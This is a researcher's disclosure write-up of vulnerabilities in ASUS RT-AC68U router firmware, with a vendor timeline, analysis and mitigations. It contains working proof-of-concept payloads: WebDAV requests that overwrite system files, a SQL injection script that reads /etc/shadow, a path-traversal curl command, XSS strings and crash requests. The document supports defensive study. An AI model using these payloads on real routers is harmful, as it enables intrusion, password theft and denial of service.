ASUS RT-AC68U RCE

Over the summer of my junior year, I decided to do some router pentesting. Embedded security always seemed very fun to me. I liked the idea of breaking things that are found in our everyday lives, and what better place to start than my router. I was also inspired by my friend @arinerron who had some success with his router previously.

I dumped the firmware and started analyzing the binaries in Ghidra. I also found a GitHub repository containing a modified version of the source which greatly helped with the reversing process.

Thoughts

In the end, I managed to find a pre-auth arbitrary file read vulnerability, which could be used to dump /etc/shadow. From here, this could be chained with an authenticated arbitrary file write vulnerability to achieve code execution.

A shodan search suggests that around 200 thousand routers online could be potentially vulnerable, although because some specialized configuration is required the actual number is probably a bit lower.

One thing I found interesting was how many of the vulnerabilities involved “off-by-slash” issues. For example, requests to /smb/* required authentication but not /smb. If anything, this shows the importance of paying attention to the details when performing code audits.

It was also cool how there was an exploitable SQL injection vulnerability in such a seemingly low-level target.

Even though the code quality wasn’t the highest - many of these vulnerabilities were not very well hidden - this was overall a pretty fun exercise in code-review.

Timeline

08/18/2020 - Vulnerability submitted to [email protected]
08/18/2020 - Vendor response
10/25/2020 - Beta firmware - official release “in one month”
12/19/2020 - Additional correspondence
01/18/2021 - 3.0.0.4.386.41634 released

Writeup

This is an adapted version of the writeup that was sent to the ASUS security team.

This document summarizes the results of my pentesting against ASUS RT-AC68U on the latest firmware version 3.0.0.4.385_20632. These vulnerabilities range from simple denial of service, to a no-interaction unauthenticated remote code execution chain. Many of these likely apply to other similar router versions as well. I also discuss several solutions for remediation.

These were patched in version 3.0.0.4.386.41634.

Overall, I present the following vulnerabilities:

  1. No-interaction pre-authentication RCE chain
  2. No-interaction pre-authentication persistent DOS chain
  3. 3 XSS vectors, two of which could chain to RCE
  4. 2 temporary denial of service exploits

Vulnerabilities

Note that you will need to enable the lighttpd server by going to http://router.asus.com/cloud_main.asp and enabling Cloud Disk.

Additionally, some of the exploits require the mounting of an external device.

MOVE/COPY Priming

No authentication file-write to /mnt/*. An attacker chain this with MOVE/COPY Off By Slash to remotely brick a router, for example, by overwriting /etc/shadow or other important configuration files.

POC

There are two relevant primitives - file creation and directory creation.

fetch("/smb/js/jplayer", {
  "headers": {
    "destination": "https://domain.tld/RT-AC68U/customdir",
    "overwrite": "T",
  },
  "body": "",
  "method": "MOVE"
});

directory creation

fetch("/smb/control", {
  "headers": {
    "destination": "https://domain.tld/RT-AC68U/customdir/testfile",
    "overwrite": "T",
  },
  "body": "",
  "method": "MOVE"
});

file creation

This allows an attacker to overwrite arbitrary contents under /mnt. Note that an attacker is able to create any file structure they desire with these primitives. However, while the file layout is attacker controlled, the content within the files is not.

Analysis

Improper sanitation on the source for COPY and MOVE operations allows an attacker to load preexisting files from the router, even without authentication.

Mitigation

  1. Ensure that con->physical.path starts with /mnt in the mod_webdav.so for HTTP_METHOD_MOVE and HTTP_METHOD_COPY.

MOVE/COPY Clobbering

Authenticated arbitrary file write to /*. Can escalate to RCE by overwriting executable files, for example /etc/zcip. Can also modify internal variables such as the router password by writing to /dev/nvram.

POC

Create a directory structure as such.

/mnt
  /USB-NAME
    /path
      /etc
        passwd

Run the below JavaScript.

fetch("/RT-AC68U/USB-NAME/path", { 
  "headers": {
    "overwrite": "T",
    "destination": "https://domain.tld/",
  },
  "body": "",
  "method": "COPY",
});

This will overwrite /etc/passwd.

Analysis

Improper sanitation on the target for COPY and MOVE operations gives an attacker an arbitrary file-write primitive.

Mitigation

  1. Ensure that p->physical.path starts with /mnt in the mod_webdav.so for HTTP_METHOD_MOVE and HTTP_METHOD_COPY.

MOVE/COPY Off By Slash

No-authentication arbitrary file copying from /mnt/* to /*. Can combine with MOVE/COPY Priming to remotely brick a router, for example, by overwriting /etc/shadow or other important configuration files.

POC

Create a directory structure as such.

/mnt
  /etc
    passwd

Run the below JavaScript.

fetch("/RT-AC68U", { 
  "headers": {
    "overwrite": "T",
    "destination": "https://domain.tld/",
  },
  "body": "",
  "method": "COPY",
});

Analysis

The authentication handler has an off-by-slash error, matching for /RT-AC68U/ instead of /RT-AC68U. Thus, it allows unauthenticated requests to /RT-AC68U to hit the endpoint (note that adding a slash results in a 401). This allows an attacker to perform a copy operation from /mnt to /, exploiting a similar vulnerability as in MOVE/COPY Clobbering. By creating a fake directory structure with MOVE/COPY Priming, these two vulnerabilities give an attacker a write-anywhere primitive.

Mitigation

  1. Ensure the authentication handler filters requests against /RT-AC68U instead of /RT-AC68U/.

PROPFINDMEDIALIST SQL Injection

No user-interaction arbitrary file-read. By reading /etc/shadow, an unauthorized remote attacker can disclose a hashed password. Cracking this offline gives the router password. Can be combined with MOVE/COPY Clobbering for a full no-interaction RCE chain.

POC

You will need to enable the Digital Media Server functionality.

Run the below javascript, for example in the dev console, while on the AiCloud page.

(async() => {
var author = "" + Math.random();
var path = "/etc/shadow";
var dId = Math.floor(100000 * Math.random()) + 10000
var oId = Math.floor(100000 * Math.random()) + 10000
var pId = Math.floor(100000 * Math.random()) + 10000
var val = ("a' OR 1 ); INSERT INTO DETAILS (TITLE, ALBUM_ART, ARTIST, ID) VALUES ('a', '" + pId + "', '" + author + "', " + dId + "); -- ").split("'").join("%27")
console.log(val.length)

await fetch("/smb", {
  "headers": {
    "keyword": val,
    "mediatype": "1",
  },
  "body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
  "method": "PROPFINDMEDIALIST",
});

val = ("a' OR 1 ); INSERT INTO OBJECTS (PARENT_ID, OBJECT_ID, DETAIL_ID, CLASS) VALUES ('1$7', " + oId + ", " + dId + ", 'container.album.musicAlbum'); -- ").split("'").join("%27")
console.log(val.length)


await fetch("/smb", {
  "headers": {

    "keyword": val,
    "mediatype": "1",
  },
  "body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
  "method": "PROPFINDMEDIALIST",
});

val = ("a' OR 1 );  INSERT INTO ALBUM_ART (PATH, ID) VALUES ('" + path + "', " + pId + "); -- ").split("'").join("%27")
console.log(val.length)


await fetch("/smb", {
  "headers": {
    "keyword": val,
    "mediatype": "1",
  },
  "body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
  "method": "PROPFINDMEDIALIST",
});

await fetch("/smb", {
  "headers": {
    "classify": "album",
  },
  "body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
  "method": "GETMUSICCLASSIFICATION"
}).then(a => a.text()).then(b => {
var aidx = b.indexOf(author)
var pay = b.substring(b.indexOf("<thumb_image>", aidx) + "<thumb_image>".length, b.indexOf("</thumb_image>", aidx))

console.log(atob(pay))
})
})()

Analysis

    //- Avoid SQL injection!
    if( keyword!=NULL && strstr(keyword->ptr, "'")!=NULL) {      
      Cdbg(DBE, "keyword is invalid!");
      
    ...
    
    if(!buffer_is_empty(keyword)){      
      buffer_urldecode_path(keyword);

mod_webdav.c

The check for SQL injection happens before the url decode. This allows an attacker to pass in a URL-encoded single quote, %27, bypassing any SQL injection mitigations. In addition, stacked queries are enabled allowing an attacker to easily chain statements. This can be used to create a fake album, which is ultimately triggered by the GETMUSICCLASSIFICATION method, passing a fake filepath to get_album_cover_image.

    char* album_cover_file = result2[1];
                  
    FILE* fp = fopen(album_cover_file, "rb");

mod_webdav.c

The contents of this file pointer are then read into a buffer, and then passed directly back to the attacker.

Mitigation

  1. Perform the SQL injection check after bufer_urldecode_path.
  2. Sanity check on album_cover_file, for example strncmp(album_cover_file, "/mnt", 4)

Share Link File Traversal

Given a single valid share link, an attacker can disclose any other file.

POC

Create a file structure as shown (a single folder with files a.txt and b.txt).

/mnt/XXX 
  a.txt
  b.txt

Create a sharelink for a.txt. Append /%2e%2e/b.txt to the sharelink.

Your final URL should look like https://domain.tld/AICLOUDXXXXXXX/a.txt/%2e%2e/b.txt. Curl the URL - curl -k https://domain.tld/AICLOUDXXXXXXX/a.txt/%2e%2e/b.txt - and note that b.txt gets downloaded.

Analysis

mod_aicloud_sharelink_parser URL decodes the path, but fails to filter out path traversals like /../ after decoding.

Mitigation

  1. Filter out /../ from AICLOUD paths

picasa.html XSS

With user-interaction account takeover - total file disclosure and chain with above to remote code execution.

POC

While logged in, visit /smb/css/service/picasa.html?v=%3C%2ftextarea%3E%3Cscript%3Ealert(%27XSS%27)%3C%2fscript%3E.jpg

Analysis

The abbreviated JS is shown below.

  var uploadfile_url = getUrlVars()["v"];
  ...
  var this_filename = decodeURIComponent( uploadfile_url
    .substr( uploadfile_url.lastIndexOf("/") + 1, uploadfile_url.length-1 ) );
  ...
  upload_html += '<textarea style="resize: none; width: 292px; height: 82px;" 
    autocomplete="off" id="title" name="title" class="x-form-textarea x-form-field 
    service_upload_field ' + className + '">' + this_filename + '</textarea>';

Note that the value of the v parameter is reflected directly into the HTML (after decoding). A malicious filename like </textarea><script>alert('XSS')</script> allows an attacker to inject scripts. This could be done silently from an attacker controlled webpage, giving an attacker access to the router as long as the user is logged in.

Mitigation

  1. Sanitize the value of this_filename before injecting into the HTML, as shown below.
return mystring.replace(/&/g, "&amp;").replace(/>/g, "&gt;").replace(/</g, "&lt;").replace(/"/g, "&quot;");
  1. Exit on invalid characters in file name - blacklist <>.

urlInfo XSS

Same impact scenario as picasa.html XSS.

POC

While logged out, navigate to /RT-AC68U/zz%27onmouseover=a.hidden=true;alert(origin)%20id=a%20style=width:100vw;position:fixed;top:0;height:100vh;opacity:0.01%20a=

Analysis

The handler for urlInfo fails to escape single quotes.

          buffer_copy_string_len(out, CONST_STR_LEN("<input class='urlInfo' value='"));        
          buffer_append_string_buffer(out, con->url.rel_path);        
          buffer_append_string_len(out, CONST_STR_LEN("' type='hidden'>"));

connections.c

Mitigation

  1. Sanitize the urlInfo property. Escape single quotes, replacing them with the HTML entity &apos;

openurl XSS

Same impact scenario as picasa.html XSS.

POC

Navigate to /smb/..%2f'onload='alert(origin) while logged in`.

Analysis

This injects the openurl property on body. The final rendered HTML is as such.

<body openurl='/smb/../'onload='alert(origin)' fileview_only='1'></body>

Mitigation

  1. Sanitize the openurl property. Escape single quotes, replacing them with the HTML entity &apos;

AINVITE POST Handler DOS

No interaction/authentication denial of service.

POC

Run the below code in the developer console on the lighttpd webpage. This sends a POST request with body “junk” to /AINVITE.

fetch("/AINVITE", {
  "body": "junk",
  "method": "POST"
});

Analysis

The handler for post data looks as such.

iVar1 = parse_postdata_from_chunkqueue(param_1,param_2,param_2->field_0x54,&local_6c);
if ((iVar1 == 0) && (local_6c != (void *)0x0)) {
  action_value = (char *)get_url_param_ualue(local_6c,"action");
  iVar1 = strcmp(action_value,"register");

Note that if get_url_param_ualue(local_6c, "action"), which gets the form data parameter, returns a null value the subsequent call to strcmp will result in a NULL pointer dereference.

Mitigation

  1. Add a check for the return value of get_url_param_ualue(local_6c, "action") to see if it is NULL before passing into strcmp.

/AINVIT DOS

No interaction/authentication denial of service.

POC

Visit /AINVIT. This will crash the lighttpd instance.

Analysis

In the handler mod_aicloud_invite.so, the comparison logic looks as such.

iVar1 = strncmp(*param_2->field_0x108,"/AINVITE",7);
if (iVar1 == 0) {
  local_38 = strstr(*param_2->field_0x108,"/AINVITE");
  local_38 = local_38 + 1;
  if (local_38 == (char *)0x0) {
    param_2->field_0x80 = 400;
    param_2->field_0x48 = 1;
    ret_code = 2;
  }

Note that however, the length of “/AINVITE” is 8. Thus, if /AINVIT is sent, it’ll pass the strncmp comparison, while returning null for strstr. While there is a null check, the pointer is incremented by 1, making it worthless. This results in a null pointer dereference later.

Mitigation

  1. Perform the null check before incrementing the pointer.
  2. strncmp with a length of 8